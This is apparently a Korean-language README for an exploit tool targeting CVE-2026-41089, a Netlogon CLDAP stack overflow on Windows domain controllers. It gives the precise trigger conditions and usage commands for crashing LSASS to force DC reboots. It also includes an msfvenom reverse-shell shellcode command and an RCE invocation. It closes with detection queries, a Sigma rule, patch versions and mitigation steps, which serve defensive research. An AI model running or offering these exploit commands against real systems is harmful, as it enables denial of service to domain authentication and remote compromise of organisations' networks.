
CVE-2026-41089는 Windows Netlogon 서비스의 중요한 원격 코드 실행 취약점으로, 단일 패킷으로 lsass.exe를 충돌시켜 도메인 컨트롤러가 약 30-60초 내에 재부팅되게 합니다. 이 기간 동안 해당 DC의 모든 도메인 인증이 실패합니다.
CVE-ID: CVE-2026-41089
CVSS: 9.8 (Critical)
CWE: CWE-121 (Stack-based Buffer Overflow)
공격 벡터: UDP/389 (CLDAP SearchRequest)
영향: 원격 코드 실행 (RCE) / 서비스 거부 (DoS)
영향받는 버전: Windows Server 2012 R2 ~ 2025 (Domain Controllers)
패치: 2026년 5월 누적 업데이트
netlogon.dll의 NetpLogonPutUnicodeString 함수는 CLDAP 검색 요청을 처리할 때 스택 버퍼 오버플로 취약점이 존재합니다. 이 함수는 바이트 길이 예산을 수신하지만 이를 WCHAR 카운트로 해석하여, 기록량이 예상의 2배가 됩니다.
오버플로는 NlGetLocalPingResponse 함수의 528바이트(264 ushort) 고정 스택 버퍼에서 발생합니다. 공격자가 제어 가능한 User 필드와 서버 자체의 DNS 도메인 이름이 함께 이 버퍼를 채우며, 최종적으로 GS 보안 쿠키를 덮어써 __report_gsfailure와 lsass.exe 충돌을 유발합니다.
NtVer=0x02 (취약한 구버전 BuildSamLogonResponse 경로를 강제 사용)User 필드 길이 ≥ ~130자 (바이너리 상한 약 260바이트 UTF-16)주의:
NtVer=0x16(많은 공개 탐지 스크립트가 사용하는 값)은 안전한BuildSamLogonResponseEx경로를 트리거하며, 취약점을 트리거하지 않습니다.
| 모드 | 설명 |
|---|---|
--mode dos | 정교하게 구성된 CLDAP 패킷을 전송하여 LSASS를 충돌시키고 DC를 재부팅 (~60초 인증 중단) |
--mode rce | 원격 코드 실행 시도 (연구 수준, shellcode 필요) |
--mode scan | 다양한 NtVer 값의 응답 상황을 스캔하여 대상 DC를 핑거프린팅 |
--mode auto | 자동으로 감지하여 최적의 공격 전략 선택 |
단일 패킷으로 lsass.exe를 충돌시켜 도메인 컨트롤러가 약 30-60초 내에 재부팅됩니다. 이 기간 동안 해당 DC의 모든 도메인 인증이 실패합니다.
# 기본 사용법 — 3개 패킷 전송
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode dos
# 단일 패킷 빠른 공격
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 1
# 공격적 모드 — 5개 패킷 동시 전송
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 5 --delay 0.1
⚠️ 연구 수준 — 실제 환경에서는 신뢰할 수 없고 불안정합니다.
RCE는 다음과 같은 과제에 직면합니다:
# shellcode 생성
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 \
-f raw -o shellcode.bin
# RCE 체인 전송
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode rce \
--shellcode-file shellcode.bin --lhost 10.0.0.5 --lport 4444
# 대상 DC 핑거프린팅
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode scan
예상 출력 예시 (패치된 대상):
NtVer=0x00000002 → RESPONDED (3 ms)
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)
예상 출력 예시 (패치되지 않은 대상):
NtVer=0x00000002 → TIMEOUT (5001 ms) ← LSASS crashed!
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)
NtVer=0x02가 타임아웃되고 다른 버전은 정상적으로 응답하면, 대상은 취약할 가능성이 높습니다.
| 매개변수 | 설명 | 기본값 |
|---|---|---|
-l, --user-len | 사용자 이름 필드 길이 (ASCII 문자 수) | 180 |
--ntver | NtVer 값 (16진수, 예: 0x02) | 0x02 |
--count | 전송할 DoS 패킷 수 | 3 |
--delay | 패킷 간 지연 (초) | 0.5 |
-t, --timeout | 소켓 타임아웃 (초) | 5.0 |
--json | JSON 형식으로 결과 출력 | — |
--raw | 전송 전 원시 패킷 16진수 출력 | — |
--quiet | 배너 출력 억제 | — |
--shellcode-file | 사용자 정의 shellcode 파일 (원시 x64) | — |
--lhost | 리버스 셸 리스닝 주소 | — |
--lport | 리버스 셸 리스닝 포트 | 4444 |
# Windows Server(패치되지 않은)에서 긴 도메인 이름 DC 생성:
# 1. 도메인 컨트롤러로 승격 (DNS 도메인 이름이 매우 긴 도메인, 예: "this-is-a-very-long-domain-name-for-testing.corp.local")
# 2. 2026년 5월 이전 패치가 설치되어 있는지 확인
# 3. 공격 머신에서 실행:
python CVE-2026-41089-exp.py <DC_IP> <LONG_DOMAIN_NAME> --mode dos --count 1
# 4. DC 충돌 및 재부팅 관찰
User > 100바이트이고 NtVer = 0x02인 CLDAP SearchRequestEvent ID: 1000
Faulting process: lsass.exe
Faulting module: netlogon.dll
Exception code: 0xc0000409 (STATUS_STACK_BUFFER_OVERRUN)
index=wineventlog source="WinEventLog:Application" EventID=1000
Process_Name="lsass.exe" Exception_Code="0xc0000409"
Event
| where Source == "Application" and EventID == 1000
| where RenderedDescription contains "lsass.exe"
| where RenderedDescription contains "0xc0000409"
| Windows Server 버전 | 패치 버전 번호 | 비고 |
|---|---|---|
| Server 2012 | 6.2.9200.26079 | ESU |
| Server 2012 R2 | 6.3.9600.23181 | ESU |
| Server 2016 | 10.0.14393.9140 | |
| Server 2019 | 10.0.17763.8755 | |
| Server 2022 | 10.0.20348.5074 | |
| Server 2022 23H2 | 10.0.25398.2330 | |
| Server 2025 | 10.0.26100.32772 |
# 안전한 탐지 스크립트 — 대상을 충돌시키지 않음
python detect_CVE-2026-41089.py <DC_IP> <DOMAIN>
# JSON 출력 (대량 스캔에 적합)
python detect_CVE-2026-41089.py 10.0.0.10 corp.local --json
# 패치 검증 단계 표시
python detect_CVE-2026-41089.py 10.0.0.10 corp.local --check-patch
탐지 원리: NtVer=0x02(취약점 경로 트리거)와 NtVer=0x16(안전 경로)의 짧은 CLDAP 요청을 전송합니다. 0x02가 타임아웃되지만 0x16이 정상적으로 응답하면, 대상은 취약할 가능성이 높습니다.
즉시 패치 설치: 2026년 5월 누적 업데이트 (KB5058405 이상)
# 설치된 업데이트 확인
Get-HotFix | Where-Object {$_.InstalledOn -gt '2026-05-01'}
# 최신 업데이트 설치
Install-WindowsUpdate -AcceptAll -AutoReboot
netlogon.dll 버전 검증:
(Get-Item C:\Windows\System32\netlogon.dll).VersionInfo.FileVersion
# 위의 패치 버전 번호 표와 대조
임시 완화 (즉시 패치할 수 없을 때):
사후 조사:
# lsass 충돌 기록 확인
Get-WinEvent -FilterHashtable @{LogName='Application';Id=1000} |
Where-Object {$_.Message -match 'lsass.exe' -and $_.Message -match '0xc0000409'} |
Select-Object TimeCreated, Message -First 5
title: CVE-2026-41089 Netlogon CLDAP Overflow Exploitation
id: cve-2026-41089-netlogon-crash
status: experimental
description: Detects lsass.exe crash caused by netlogon.dll stack buffer overflow
logsource:
product: windows
service: application
detection:
selection:
EventID: 1000
Image|endswith: '\lsass.exe'
ExceptionCode: '0xc0000409'
FaultingModule|endswith: '\netlogon.dll'
condition: selection
level: critical
tags:
- attack.impact
- attack.t1499
- cve.2026-41089
본 도구는 승인된 보안 평가, 침투 테스트, CTF 대회 및 방어 연구에만 사용해야 합니다. 명시적인 서면 승인 없이 어떠한 시스템에 본 도구를 사용하는 것은 불법입니다. 사용자는 모든 법적 책임을 스스로 부담합니다.